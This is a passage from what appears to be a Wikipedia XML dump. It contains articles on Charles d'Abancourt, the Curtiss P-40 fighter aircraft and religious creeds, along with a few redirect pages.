He was [[Louis XVI of France|Louis XVI]]'s last [[List of Defence Ministers of France|minister of war]] (July 1792), and organised the defence of the [[Tuileries]] for [[August 10]]. Commanded by the [[Legislative Assembly]] to send away the [[Swiss guard]]s, he refused, and was arrested for treason to the nation and sent to [[Orléans]] to be tried.

At the end of August the Assembly ordered Abancourt and the other prisoners at Orléans to be transferred to [[Paris]] with an escort commanded by [[Claude Fournier]], ''the American''. At [[Versailles]] they learned of the massacres at Paris, and Abancourt and his fellow-prisoners were murdered in cold blood on [[September 8]], [[1792]]. Fournier was unjustly charged with complicity in the crime.

{{Wikisource1911Enc|Abancourt, Charles Xavier Joseph de Franque Ville D'}}
{{1911}}

[[Category:1758 births|Abancourt, Charles d']]
[[Category:1792 deaths|Abancourt, Charles d']]
[[Category:French politicians|Abancourt, Charles d']]</text>
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    <title>Corvallis Oregon</title>
    <id>7208</id>
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      <id>15905286</id>
      <timestamp>2002-04-13T14:00:22Z</timestamp>
      <contributor>
        <username>Rootbeer</username>
        <id>1297</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Corvallis, Oregon]]</comment>
      <text xml:space="preserve">#REDIRECT [[Corvallis, Oregon]]</text>
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  <page>
    <title>Cubic feet</title>
    <id>7210</id>
    <revision>
      <id>15905288</id>
      <timestamp>2003-05-24T12:20:38Z</timestamp>
      <contributor>
        <username>JohnOwens</username>
        <id>4558</id>
      </contributor>
      <minor />
      <comment>ah ha, this one did exist though, #REDIRECT [[cubic foot]]</comment>
      <text xml:space="preserve">#REDIRECT [[cubic foot]]</text>
    </revision>
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  <page>
    <title>Curtiss P-40</title>
    <id>7211</id>
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      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">[[image:curtiss.p40.750pix.jpg|thumb|300px|Curtiss P-40K Warhawk]]

The '''Curtiss P-40''' was an American single-engine, single-seat, low-wing, all-metal [[fighter aircraft|fighter]] and ground attack aircraft which first flew in 1938 and was used in great numbers in [[World War II]]. 

Developed from the pre-war radial-engined [[P-36 Hawk]], the P-40 was used by Allied air forces all over the world. '''Warhawk''' was the name the USAAF adopted for all models, thus it is the official USAAF name of the airplane series as a whole.  The British [[Royal Air Force]] and [[Commonwealth of Nations|Commonwealth]] air forces designated it the '''Tomahawk''' (models equivalent to P-40B and P-40C), or the '''Kittyhawk''' (models equivalent to P-40E and all later versions). 

The first '''XP-40''' was simply a P-36A Hawk with its [[Pratt &amp; Whitney Twin Wasp]] radial engine replaced by a liquid-cooled, supercharged [[Allison V-1710]] V-12 engine. The V engine offered no more power than the radial, but its smaller frontal area led to considerably lower drag. In April 1939 the [[USAAC]], no doubt looking over its shoulder at the sleek, new, high-speed, in-line engined fighters of Europe, placed the largest single fighter order it had ever made for fighters: 524 aircraft.

==Operational history==
[[France]], already fielding a large number of Curtiss [[P-36 Hawk]] fighters, ordered 140 as the '''Hawk 81A-1''' but the French military had been defeated by the German ''[[Blitzkrieg]]'' before they had left the factory, and the aircraft were diverted to British Commonwealth service, as the '''Tomahawk I''' &amp;mdash; in some cases complete with metric instruments. Deemed unsuitable for use as a fighter in Europe, where it was thought inferior to the [[Supermarine Spitfire|Spitfire]], [[Hawker Hurricane|Hurricane]] and [[Messerschmitt Bf 109|Bf 109]], the Tomahawk was used for training and some low-level tactical reconnaissance. 

It proved more useful as fighter bomber with Commonwealth air forces in the [[Desert Air Force]] during the [[North African Campaign]], where Allied air superiority made enemy fighters a minor threat, the P-40's poor high-altitude performance mattered less, and its bomb load and good range were valuable. [[Royal Air Force|RAF]] No. [[No. 112 Squadron RAF|112 Squadron]] was the first to fly Tomahawks in the Western Desert, mainly for ground attack. The squadron copied the famous shark mouth markings under the spinner from [[Luftwaffe]] [[Messerschmitt Bf 110]] ''Zerstörer'' units, and the logo was later adopted by the [[Flying Tigers]] in China.

[[Image:flying tigers.jpg|thumb|280px|&quot;A Chinese soldier guards a line of American P-40 fighter planes, painted with the shark-face emblem of the `Flying Tigers,' at a flying field somewhere in China.&quot;.]]

The [[Flying Tigers]] were a unit of the [[Republic of China]]'s air force, bearing the official name American Volunteer Group, being led by the retired USAAC officer and military observer [[Claire Chennault]], and employing P-40 fighters in combat against the Japanese air forces. While the P-40 couldn't match the manoeuvrability of the Japanese [[Ki-27]] and [[Ki-43]] monoplanes they were facing, Chennault trained the AVG pilots to use the performance advantage the P-40 held over the Japanese fighters to gain the upper hand in combat. The P-40 had a higher dive speed than the Japanese fighters, for example, and would often be used in one-pass attacks.  The AVG was highly successful, and accordingly their exploits were widely published in order to boost the morale of the American public. The reputation of the P-40 was shaped to large degree by the success of the AVG in China. According to the American count, the Flying Tigers destroyed 297 aircraft for the loss of only 21 pilots and their aircraft.  Alternative counts have been as low as 115-21, but never any lower.  A significant margin of victory none the less.

As the first mass-produced US fighter aircraft of WW2, the P-40 served on every single front of World War II. Despite its success in the hands of the Flying Tigers, the characteristics of the Allison engine (the single-stage, single-speed supercharger) meant that it could not compete with modern &amp;mdash; enemy or allied &amp;mdash; types as a high-altitude fighter. Among USAAF pilots in the Pacific, the P-40 &amp;mdash; just like the [[P-39 Airacobra|P-39]] which was equipped with a similar Allison engine &amp;mdash; was considered an inferior air-superiority fighter, and the replacement with the turbo-supercharged [[P-38 Lightning|P-38]] was greeted with relief. However, when transferred to ground-attack duties where the high-altitude characteristics were less important, the P-40 still proved a useful fighter bomber aircraft in all theatres of war. In this role, the P-40 offered the additional advantage of a low price tag, and consequently it was kept it production as a ground-attack aircraft long after it was actually obsolete as a fighter. Of all the fighter-bomber aircraft built by the US during WWII, it was the third most-built. [[image:Kittyhawkdamaged.jpg|220px|thumb|right|Evidence of the P-40's durability: in 1944, this Kittyhawk was flown more than 200 miles (320 kilometres) after losing its port aileron and 25% of its wing area. F/O T. R. Jacklin (pictured) of No. 75 Squadron [[Royal Australian Air Force|RAAF]] returned safely to his base in [[Dutch New Guinea]].]]

The P-40's strengths were: It was sturdy, faster in a dive than most of its Japanese adversaries, possessed a low-speed rate of roll superior to most other USAAF fighters and a high-speed rate of roll superior to most Japanese fighters. It could carry an effective air-to-ground load, was semi-modular and thus easy to maintain in the field, and tolerated harsh conditions, for example in the desert war. Since success in air combat also depends on the capabilities of the opposing aircraft, the combat record of the P-40 as a fighter is rather varied.

In all 13,738 P-40s had been produced by November 1944, and they were used by the airforces of 28 nations.  It saw the majority of its frontline action in the [[Mediterranean Theatre of World War II|Mediterranean theater]], [[South-East Asian Theatre of World War II|South East Asian theater]] and [[South West Pacific Area]] with the USAAF and Commonwealth forces, and with the [[VVS]] (Soviet air force) on the [[Eastern Front (World War II)|Eastern Front]]. The VVS also fitted some of their Warhawks with domestic Klimov engines, for ease of maintenance and repair.

==P-40 Units==
===US Army Air Force===
====23rd Fighter Group====
The Flying Tigers were integrated into the USAAF as the 23rd Fighter Group. The unit continued to fly P-40s (of newer models) until the end of the war, racking up a high kill-to-loss ratio. 

====57th Fighter Group====
The 57th Fighter Group, which also operated in the MTO, was equipped with the Curtiss fighter until early 1944, during which time they were credited with at least 140 air-to-air kills. It was the 57th that took part in the &quot;Palm Sunday Massacre&quot; which took place on [[April 18]], [[1943]]. On this day, decoded [[Ultra]] ciphers had given away a Luftwaffe plan to cross the Mediterranean Sea with a large formation of German transport planes ([[Junkers Ju 52|Ju-52]]) and their escorts ([[Messerschmitt Bf 109|Bf-109]]), and an ambush was laid for them, ignoring the warning of intelligence officers that this might give away the Allied ability to read German ciphers. The three squadrons of the 57th, one squadron from the 324th Fighter Group (also flying P-40s) and a small group of British Spitfires intercepted the German formation and shot down at least 70 German planes, with roughly 6 or 7 Allied airplanes being downed.

==== 325th Fighter Group &quot;Checkertail Clan&quot; ====
The 325th FG, better known as the &quot;Checkertail Clan&quot;, fought in the [[Mediterranean Theater of Operations]] (MTO). While flying the P-40, the three squadrons of the 325th were credited with at least 130 air-to-air kills while flying the P-40, from April to October 1943.

===British Royal Air Force===
P-40s became operational with the [[Commonwealth of Nations|Commonwealth]] [[Desert Air Force]] in North Africa on [[January 1]], [[1942]]. In all, 12 British [[Royal Air Force]], two [[South African Air Force]] (SAAF) and two [[Royal Australian Air Force]] (RAAF) squadrons serving with RAF formations used 930 aircraft. The British government also donated 23 P-40s to the Soviet VVS.

===Royal Australian Air Force===
The Kittyhawk was the main fighter and ground attack aircraft used by the RAAF in World War II (ahead of the Mustang). Two RAAF squadrons serving with the Desert Air Force, [[No. 3 Squadron RAAF|No. 3]] and [[No. 450 Squadron RAAF|No. 450 Squadron]]s, were the first Australian units to be assigned P-40s.

At the same time, the [[Pacific War]] was also in its early stages, and RAAF units in Australia were completely lacking in state-of-the-art fighters. Spitfire production was being absorbed by the war in Europe, Mustangs had not yet reached squadrons anywhere and Australia's tiny and inexperienced aircraft industry was geared towards larger planes. US-built P-40s were seen as the main solution to this problem. During the course of the war, the RAAF acquired 838 Kittyhawks for use in the [[South West Pacific Area]]. The durability and bomb-carrying abilities of the P-40 made it ideal for the [[close air support|ground attack]] role which was the main task of the RAAF throughout the war.

The RAAF units which made the most use of Kittyhawks were: [[No. 75 Squadron RAAF|No. 75]], [[No. 76 Squadron RAAF|76]], [[No. 77 Squadron RAAF|77]], [[No. 78 Squadron RAAF|78]], [[No. 80 Squadron RAAF|80]], [[No. 82 Squadron RAAF|82]], [[No. 84 Squadron RAAF|84]], [[No. 86 Squadron RAAF|86]] and [[No. 120 (Netherlands East Indies) Squadron]] (an RAAF unit recruited from Dutch fliers). No. 75 and 76 Squadrons were instrumental in the historic defeat of the Japanese at the [[Battle of Milne Bay]]. Kitthawks were in use with the RAAF until the very last day of the war, in the [[Borneo campaign (1945)]].

===Royal New Zealand Air Force===
301 P40s were allocated to the [[Royal New Zealand Air Force]] under lend lease, 297 seeing service, (the remaining 4 being lost on delivery). These aircraft equipped [[14 Squadron RNZAF|14 Squadron]], [[No. 15 Squadron RNZAF|15 Squadron]], [[No. 16 Squadron RNZAF|16 Squadron]], [[17 Squadron RNZAF|17 Squadron]], [[18 Squadron RNZAF|18 Squadron]], [[19 Squadron RNZAF|19 Squadron]], and [[20 Squadron RNZAF|20 Squadron]].   RNZAF P40s were successful in air combat against the [[Japan]]ese during intense fighting in the [[Pacific Ocean Areas]] theatre from 1942 until 1944, when they were replaced by F4Us. [[New Zealand]] pilots claimed 99 aerial victories in P40s, losing 20 aircraft in aerial combat. [[Geoff Fisken]], the [[Commonwealth]]'s highest scoring [[ace]] in the Pacific flew P40s with [[No. 15 Squadron RNZAF]], (although half his victories came on the [[Brewster Buffalo]]). From late 1943 and 1944 RNZAF P40s were increasingly used against ground targets.  The last frontline RNZAF P40s were replaced by [[F4U Corsair]]s in 1944, P40s continued to serve as advanced pilot trainers.  Some RNZAF pilots in North Africa and Italy flew British P40s while serving with RAF squadrons.  Remaining RNZAF P40s, (excluding the 20 shot down and 154 written off following accidents, etc.), were mostly scrapped at [[Ruhukia]] in 1948, although some survived, including Fisken's machine, which remains airworthy in private ownership in New Zealand. In recent years New Zealand firms have restored a number of P40s, largely for overseas warbird collectors. Other New Zealand P-40s are on display at the [[Royal New Zealand Air Force Museum]] in [[Christchurch]] and the [[Museum of Transport and Technology]] in Auckland.

===Soviet Union===
The VVS used the P-40 quite extensively against the [[Germany|Germans]] on the Eastern front, where the Warhawk provided close air support as well as air-to-air capability, with many Soviet pilots becoming aces on the P-40 (although not as many as on the [[P-39 Airacobra]], which was the most popular American fighter used by the VVS).

===Other nations===
The P-40 was used by over two dozen countries during and after the war. The P-40 was used by Brazil, Canada, China, Chile, Egypt, France, Netherlands East Indies, South Africa and Turkey. The last P-40s in military service were serving with the [[Brazilian Air Force]] (FAB) when they were finally retired as late as 1958.

==Variants==
[[Image:P-40 Kittyhawk.jpg|thumb|250px|P-40 Kittyhawk - Australian War Memorial]]

* Departing from normal [[USAAC]] convention, there was no '''P-40A'''.  Some records indicate this might have been reserved for a reconnaissance variant that was briefly in development by Curtiss, but quickly discarded.

* Revised versions of the P-40 soon followed: the '''P-40B''' or '''Tomahawk IIA''' had extra .30 cal (7.62 mm) US, or .303 cal (7.7 mm) UK machine guns in the wings and self-sealing tanks; the '''P-40C''' or '''Tomahawk IIB''' added underbelly drop tank and bomb shackles, as well as improved self-sealing fuel tanks and other minor revisions, but the extra weight did have a negative impact on aircraft performance. (All versions of the P-40 had an relatively low power-to-weight ratio compared to contemporary fighters.)

* Only a small number of '''P-40D''' or '''Kittyhawk Mk I'''s were made&amp;mdash;less than 50.  With a new, larger Allison engine, slightly narrower fuselage, redesigned canopy, and improved cockpit, the P-40D eliminated the nose-mounted .50 cal guns and instead had a pair of .50 cal (12.7 mm) guns in each wing.  The distinctive chin airscoop grew larger in order to adequately cool the large Allison engine.

* Retrospective designation for a single prototype. The '''P-40A''' was a single camera-carrying aircraft. 

* The '''P-40E''' or '''P-40E-1''' was very similar in most respects to the P-40D, except for a slightly more powerful engine and an extra .50 cal (12.7 mm) gun in each wing, bringing the total to 6. Some aircraft also had small underwing bomb shackles. Supplied to the RAF as the '''Kittyhawk Mk IA'''.

* The '''XP-40F''' was an expermental aircraft. One P-40D was fitted with a 1,300 hp Rolls-Royce Merlin 28 inline piston engine. Only one was ever built.

* '''P-40F''' and '''P-40L''', which both featured a Packard Merlin engine in place of the normal Allison, and thus did not have the carburetor scoop on top of the nose. Performance for these models at higher altitudes was better than their Allison-engined cousins. The L in some cases also featured a fillet in front of the [[vertical stabilizer]], or a stretched fuselage to compensate for the higher torque. The P-40L was sometimes nicknamed &quot;[[Gypsy Rose Lee]]&quot;, after a famous stripper of the era, due to its lighter weight. Supplied to the RAF under the designation '''Kittyhawk Mk II'''.

* '''Kittyhawk Mk II''' : 330 aircraft were supplied to the RAF under Lend-Lease. The first 230 aircraft are sometimes known as the '''Kittyhawk Mk IIA'''.

* '''XP-40G''' : One prototype with armament and fuel tank changes.

* '''P-40G''' : 43 P-40 aircraft fitted with the wings of the Tomahawk Mk IIA. 16 aircraft were supplied to the Soviet Union, and the rest to the US Army Air Force. It was later redesignated '''RP-40G'''. 

* '''P-40J''' : Proposed version to be powered by a turbocharged Allison engine. None were ever built.

* '''P-40K''', an Allison engined P-40L, with the nosetop scoop retained and the Allison configured scoop and cowl flaps. 21 suppiled to the RAF as the '''Kittyhawk Mk III'''. 

* '''P-40M''', version generally similar to the P-40K, with a stretched fuselage like the P-40L and powered by an Allison V-1710-81 engine giving better performance at altitude (compared to the previous Allison versions). It had some detail improvements and it was characterized by two small air scoops just before the exhaust pipes. Most of them were supplied to Allied countries (mainly UK and USSR), while some others remained in the USA for advanced training. Supplied to the RAF as the '''Kittyhawk Mk.III'''.

* '''P-40N''', the final production model.  The P-40N featured a stretched rear fuselage to counter the torque of the larger, late-war Allison engine, and the rear deck of the cockpit behind the pilot was cut down at a moderate slant to improve rearward visibility.  A great deal of work was also done to try and eliminate excess weight to improve the Warhawk's climb rate.  Early N production blocks dropped a .50 cal (12.7 mm) gun from each wing, bringing the total back to 4; later production blocks reintroduced it after complaints from units in the field.
Supplied to Royal Air Force as the '''Kittyhawk Mk IV'''.

* '''P-40P''' : The designation of 1,500 aircraft ordered with V-1650-1 engines, but actually built as the  P-40N with V-1710-81 engines.

* '''XP-40Q''' with a 4-bladed prop, cut-down rear fuselage and bubble canopy, supercharger, squared-off wingtips and tail surfaces, and improved engine with two-speed supercharger was tested, but its performance was not enough of an improvement to merit production when compared to the current late model '''P-47D'''s and '''P-51D'''s pouring off the production lines. The XP-40Q was however the fastest of the P-40 series, with a top speed of 422 mph becoming possible as a result of the introduction of a high-altitude supercharger gear. (No P-40 model with a single-speed supercharger could even approach 400 mph or 640 km/h.) With the end of hostilities in Europe, the P-40 came to the end of its life. 

* '''P-40R''' : The designation of P-40F and P-40L aircraft, converted into training aircraft in 1944.

* '''RP-40''' : Some American P-40s were converted into reconnaissance aircraft. 

* '''TP-40''' : Some P-40s were converted into two-seat trainers.

* '''Twin-Engined P-40''' The idea for this proposed version, was to fit two Rolls-Royce Merlin in-line piston engines, to the wings of a P-40C single-engined fighter aircraft. None were ever built.

==Specifications==
{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:3px; border=&quot;1&quot; solid #87CEEB;&quot; align=&quot;center&quot; 
|- align=&quot;center&quot;
|
|'''P-40E'''
|'''P-40N'''
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|General characteristics
|- align=&quot;center&quot;
|Crew||One||One
|- align=&quot;center&quot;
|Length||31 ft 8 in (9.66 m)||33 ft 4 in (10.16 m)
|- align=&quot;center&quot;
|[[Wingspan]]||37 ft 4 in (11.38 m)||37 ft 4 in (11.38 m)
|- align=&quot;center&quot;
|Height||12 ft 4 in (3.76 m)||12 ft 4 in (3.76 m)
|- align=&quot;center&quot;
|Wing area||235.94 ft&amp;sup2; (21.92 m&amp;sup2;)||235.94 ft&amp;sup2; (21.92 m&amp;sup2;)
|- align=&quot;center&quot;
|Empty weight||6,350 lb (2,880 kg)||6,405 lb (2,905 kg)
|- align=&quot;center&quot;
|Loaded weight||8,280 lb (3,760 kg)||7,730 lb (3,505 kg)
|- align=&quot;center&quot;
|[[Maximum Take-Off Weight|Maximum gross takeoff weight]]||8,810 lb (4,000 kg)||8,860 lb (4,020 kg)
|-
|Powerplant||align=&quot;center&quot;|1x [[Allison V-1710]]-39, 1,150 hp (860 kW)
|
* 1x [[Allison V-1710]]-81, 1,200 hp (895 kW)
* Late-series P-40N-40 had V-1710-115, 1,360 hp (1,015 kW)
|- align=&quot;center&quot;
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Performance
|- align=&quot;center&quot;
|[[Vno|Maximum speed]]||360 mph (580 km/h)||378 mph (608 km/h) at 5,000 m (16,400 ft)
|- align=&quot;center&quot;
|[[Vc|Cruise speed]]||270 mph (435 km/h)||280 mph (455 km/h)
|- align=&quot;center&quot;
|Range||650 mi (1,050 km)||745 mi (1,200 km)
|- align=&quot;center&quot;
|[[Service ceiling]]||29,000 ft (8,840 m)||31,000 ft (9,450 m)
|- align=&quot;center&quot;
|[[Rate of climb|Climb rate]]||2,100 ft/min (10.7 m/s)||2,240 ft/min (11.4 m/s)
|- align=&quot;center&quot;
|[[Wing loading]]||35.1 lb/ft&amp;sup2; (171.5 kg/m&amp;sup2;)||32.8 lb/ft&amp;sup2; (159.9 kg/m&amp;sup2;)
|- align=&quot;center&quot;
|[[Power-to-weight ratio|Power/mass]]||0.14 hp/lb (0.23 kW/kg)||0.16 hp/lb (0.26 kW/kg)
|-
!bgcolor=&quot;#87CEEB&quot; colspan=&quot;3&quot;|Armament
|-
|
|
* 6x .50 cal (12.7 mm) Browning [[M2 machine gun]]s, 281 rounds/gun
* Up to 1,500 lb (680 kg) of bombs on three hardpoints.
|
* 6x .50 cal (12.7 mm) Browning [[M2 machine gun]]s
* Up to 1,500 lb (680 kg) of bombs on three hardpoints.
|}

==Famous P-40 pilots==
* [[Gregory Boyington]] Flying Tiger and later leader of the [[Black Sheep Squadron]]. 
* [[Clive Caldwell|Clive &quot;Killer&quot; Caldwell]], Australia's greatest WW2 ace. (Caldwell scored most of his 28.5 kills while flying Tomahawks in North Africa.)  
* [[John Gorton]], [[Prime Minister of Australia]], 1968-71. (He survived two serious crashes. One required Gorton to undergo extensive [[plastic surgery]], and his face changed significantly as a result. When asked in later life what his most memorable flight had been, Gorton replied: &quot;The one in which I got my face mixed up with the instrument panel of a Kittyhawk.&quot;)
* [[James Morehead]], earned the [[Distinguished Service Cross (United States)|Distinguised Service Cross]] and the [[Distinguished Flying Cross (United States)|Distinguished Flying Cross]] after leading the first succeful aerial attack against Japanese fighters during WW2.
* [[Robert Lee Scott, Jr.]] commander of the 23rd Fighter Group of the [[Fourteenth Air Force]].
* [[Len Waters]], the only [[indigenous Australian|Australian Aboriginal]] fighter pilot of WW2.

== P-40s on film ==
*In the contemporary [[John Wayne]] movie ''[[Flying Tigers (movie)|Flying Tigers]]'', real P-40s are featured, along with some inaccurate studio models.
*In the 1945 film ''[[God is My Co-Pilot (film)|God is My Co-Pilot]]'' about the Flying Tigers and the USAAF pilots who replaced them in [[China]] and [[Burma]], real P-40s are featured.
*In ''[[Tora Tora Tora]]'', P-40s are depicted at the [[attack on Pearl Harbor]], both being shot up on the ground, and shooting down Zeros.
*A P-40 is in the less-than-capable hands of a [[John Belushi]] character in the comedy ''[[1941 (film)|1941]]''.
*In the [[Alternate history (fiction)|alternative history]]/[[science fiction]] [[pastiche]] ''[[Sky Captain and the World of Tomorrow]]'' (2004), a [[computer graphics|computer-generated]] P-40 performs amazing feats, including doubling as a submarine, an ability which would have been appreciated by many WW2 fliers, had it been possible.
*In the film ''[[Pearl Harbor (film)|Pearl Harbor]]'' P-40s are the main plane seen in the film besides the Japanese Zeros.  Rafe Macauley and Danny Walker fly these during the raid on Pearl Harbor being the only two pilots able to get in the air.  This also happened in the real [[attack on Pearl Harbor]], but the pilots were [[George Welch|George &quot;Wheaties&quot; Welch]] and [[Ken Taylor]].

== References ==
* Bowers, PM, Angellucci, E. (1987) ''The American Fighter.'' Orion Books. ISBN 0517565889
* Donald, D, Lake J. (eds.) (1996) ''Encyclopedia of world military aircraft.'' AIRtime Publishing. ISBN 1880588242
* Johnsen, FA. (1999) ''P-40 Warhawk (Warbird History).'' Motorbooks International. ISBN 0760302537
* Molesworth C. (2003) ''P-40 Warhawk Aces of the Pacific (Aircraft of the Aces).'' Osprey. ISBN 1841765368
* Swanborough, G, Bowers, PM. (1989) ''United States Military Aircraft Since 1909.'' Smithsonian. ISBN 0874748801
* Wagner, R. (1965) ''Aircraft in Profile No. 35: The Curtiss P-40 Tomahawk. '' Profile Publications. ASIN B0007KAXNW
* Wagner, R. (1982) ''American Combat Planes, Third Enlarged Edition.'' Doubleday. ISBN 0385131208

==Related content==
'''Designation sequence'''

[[Curtiss XP-37|XP-37]] -
[[P-38 Lightning|P-38]] -
[[P-39 Airacobra|P-39]] -
'''P-40''' -
[[Seversky XP-41|XP-41]] -
[[Curtiss XP-42|XP-42]] -
[[P-43 Lancer|P-43]]

'''Related development'''
* [[P-36 Hawk]]
* [[North American Aviation]] [[P-51 Mustang]]

'''Similar aircraft'''
* [[Yakovlev Yak-1]]

'''Related lists'''

[[List of military aircraft of the United States]] - [[List of fighter aircraft]]

'''See also'''

'''External links'''
* [http://www.warbirdforum.com/avg.htm Annals of the Flying Tigers]
* [http://www.hill.af.mil/museum/photos/wwii/p-40.htm Curtiss P-40N-CU]
* [http://home.att.net/~jbaugher1/p40.html Joe Baugher's American Military Aircraft website]
* [http://www.p40warhawk.com/index.htm The P-40 Warhawk]
* [http://staff.jccc.net/droberts/p40/p40a.html P-40.com]

{{airlistbox}}

{{Commons|Curtiss P-40}}

[[Category:U.S. fighter aircraft 1930-1939|P-40]]

[[de:Curtiss P-40]]
[[fr:Curtiss P-40 Warhawk]]
[[zh:P-40]]</text>
    </revision>
  </page>
  <page>
    <title>Creed</title>
    <id>7212</id>
    <revision>
      <id>40561416</id>
      <timestamp>2006-02-21T12:58:30Z</timestamp>
      <contributor>
        <username>Mpatel</username>
        <id>172616</id>
      </contributor>
      <minor />
      <comment>recat</comment>
      <text xml:space="preserve">{{OtherUses|a statement of belief}}

A '''creed''' is a statement of [[belief]] — usually [[religion|religious]] belief — or [[faith]].The word derives from the Latin ''[[credo]]'' for ''I believe''.

==Christian creeds==
Christianity, affirming that [[God]] has been begotten and manifest in the human being [[Jesus]], has formulated a number of statements of faith that seek to assert his [[doctrine]].  

In this sense, perhaps the earliest statement of Christian faith is the slogan affirming that ''[[Jesus]] is Lord'', which appears in St [[Paul of Tarsus|Paul]]'s [[Epistle to the Romans]] 10:9.  The meaning and importance of this slogan comes from its affirmation that Jesus Christ is the full revelation of the God [[Yahweh]] of [[Judaism]] made incarnate, a doctrine thought impossible and indeed [[blasphemous]] by the rest of the Jewish community.  

As Christianity wrestled with the implications of this statement, its developing [[theology]] required more complex formulations.  

=== Apostles' Creed ===
It is likely that the earliest creed of Christianity that deserves the title in full is the [[Apostles' Creed]].  [[Christian mythology]] attributes this creed to all [[Twelve Apostles|twelve Apostles]] as a joint composition, and assigns one phrase of the creed to each Apostle.  This attribution is unlikely, but the creed itself is quite old; it seems to have developed from a [[catechism]] used in the [[baptism]] of adults, and in that form can be traced as far back as the [[2nd century|second century]].  The Apostles' Creed seems to have been formulated to resist [[Docetism]] and similar ideas associated with [[Gnosticism]]; it emphasizes the birth, physical death, and bodily resurrection of Jesus Christ.  

The [[Nicene Creed]] clearly derives from the Apostles' Creed, and equally obviously represents an elaboration of its basic themes.  The most salient additions to this creed are much more elaborate statements concerning [[Christology]] and the [[Trinity]].  These reflect the concerns of the [[First Council of Nicaea]] in [[325]] A. D., and have their chief purpose the rejection of [[Arianism]], which the church adjudged a [[heresy]].  In the [[Roman Catholic]] [[liturgy]] the Nicene Creed is repeated during each [[Mass (liturgy)|Mass]].

Christians today probably use the Nicene Creed most widely, followed by the Apostles Creed.

=== A creed as a catalogue of heresies ===
In an atmosphere of increasingly complicated theological controversy, orthodox belief might become more complicated in outline. In the decade before 594, [[Gregory of Tours|Gregory, bishop of Tours]] set out to write a ''Historia Francorum'' (&quot;History of the Franks&quot;). In Gaul, a part of Europe recently beset with both royal [[Arianism|Arians]] and royal pagans (until the conversion of [[Clovis]]), Gregory prefaced his history with a declaration of his faith, &quot;so that my reader may have no doubt that I am Catholic&quot; (Book I.i). The confession is in many phrases, each of which refutes a specific Christian heresy. Thus Gregory's creed presents, in negative, a virtual catalogue of heresies:
:&lt;!--phrases need to be linked to their respective Wikipedia entries--&gt;''I believe, then, in God the Father omnipotent. I believe in Jesus Christ his only Son, our Lord God, born of the Father, not created. [I believe] that he has always been with the Father, not only since time began but before all time. For the Father could not have been so named unless he had a son; and there could be no son without a father. But as for those who say: &quot;There was a time when he was not,&quot; [note: A leading belief of Arian Christology.] I reject them with curses, and call men to witness that they are separated from the church. I believe that the word of the Father by which all things were made was Christ. I believe that this word was made fresh and by its suffering the world was redeemed, and I believe that humanity, not deity, was subject to the suffering. I believe that he rose again on the third day, that he freed sinful man, that he ascended to heaven, that he sits on the right hand of the Father, that he will come to judge the living and the dead. I believe that the holy Spirit proceeded from the Father and the Son, that it is not inferior and is not of later origin, but is God, equal and always co­eternal with the Father and the Son, consubstantial in its nature, equal in omnipotence, equally eternal in its essence, and that it has never existed apart from the Father and the Son and is not inferior to the Father and the Son. I believe that this holy Trinity exists with separation of persons, and one person is that of the Father, another that the Son, another that of the Holy Spirit. And in this Trinity confess that there is one Deity, one power, one essence. I believe that the blessed Mary was a virgin after the birth as she was a virgin before. I believe that the soul is immortal but that nevertheless it has no part in deity. And I faithfully believe all things that were established at Nicæa by the three hundred and eighteen bishops. But as to the end of the world I hold beliefs which I learned from our forefathers, that Antichrist will come first. An Antichrist will first propose circumcision, asserting that he is Christ; next he will place his statue in the temple at Jerusalem to be worshipped, just as we read that the Lord said: &quot;You shall see the abomination of desolation standing in the holy place.&quot; But the Lord himself declared that that day is hidden from all men, saying; &quot;But of that day and that hour knoweth no one not even the anger in heaven, neither the Son, but the Father alone.&quot; Moreover we shall here make answer to the heretics [note: the Arians] who attack us, asserting that the Son is inferior to the Father since he is ignorant of this day. Let them learn then that Son here is the name applied to the Christian people, of whom God says: &quot;I shall be to them a father and they shall be to me for sons.&quot; For if he had spoken these words of the only­begotten Son he would never have given the angels first place. For he uses these words: &quot;Not even the angels in heaven nor the Son,&quot; showing that he spoke these words not of the only-begotten but of the people of adoption. But our end is Christ himself, who will graciously bestow eternal life on us if we turn to him.&quot;'' [http://www.fordham.edu/halsall/basis/gregory-hist.html#book3]

=== Other creeds ===
Other notable creeds include the:

* [[Athanasian Creed]]
* [[Chalcedonian Creed]]
* [[Social Creed (Methodist)]]
* The Masai Creed is a creed composed in about 1960 by Western Christian missionaries for the [[Masai]] people of East Africa. The missionaries were from the Congregation of the Holy Ghost. The creed attempts to express the essentials of the Christian faith within the Masai culture.

==Islamic creeds==
The most basic attempt to put the religion of [[Islam]] in a brief statement of doctrine is the [[shahada]], the proclamation that there is no [[god]] but [[Allah]], and [[Muhammad]] is His [[prophet]].   

More detailed credal declarations of Islamic [[dogma]] constitute [[aqidah]].

==See also ==
* [[American's Creed]]
* [[Articles of Faith]]
* [[Book of Concord]]
* [[Pledge of Allegiance]]
* [[Rifleman's Creed]]
* [[Thirty-Nine Articles]]
* [[Westminster Confession of Faith]]

==Further reading==
* ''[http://www.creeds.net The Creeds of Christendom]'' A website linking to many formal Christian declarations of faith.
* ''[http://yalepress.yale.edu/YupBooks/viewbook.asp?isbn=0300093896 Creeds and Confessions of Faith in the Christian Tradition]''. Edited by Jaroslav Pelikan and Valerie Hotchkiss. Published by [[Yale University Press]] in [[2003 in literature|2003]].
* ''[http://www.scientology.org/world/worldeng/corp/creed.htm The Creed of the Church of Scientology]''.

[[Category:Christianity]]
[[Category:Aqidah]]


[[ar:عقيدة دينية]]
[[cs:Krédo]]
[[da:Trosbekendelse]]
[[de:Glaubensbekenntnis]]
[[es:Credo]]
[[it:Credo religioso]]
[[la:Symbolum]]
[[nl:Geloofsbelijdenis]]
[[no:Trosbekjennelse]]
[[pt:Credo]]
[[ru:Символ веры]]
[[sl:Izpoved vere]]
[[sv:Trosbekännelse]]</text>
    </revision>
  </page>
  <page>
    <title>Claudius Aelianus</title>
    <id>7213</id>
    <revision>
      <id>41506701</id>
      <timestamp>2006-02-27T20:53:47Z</timestamp>
      <contributor>
        <username>Veledan</username>
        <id>306701</id>
      </contributor>
      <minor />
      <comment>serpent --&gt; Serpent (symbolism). Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
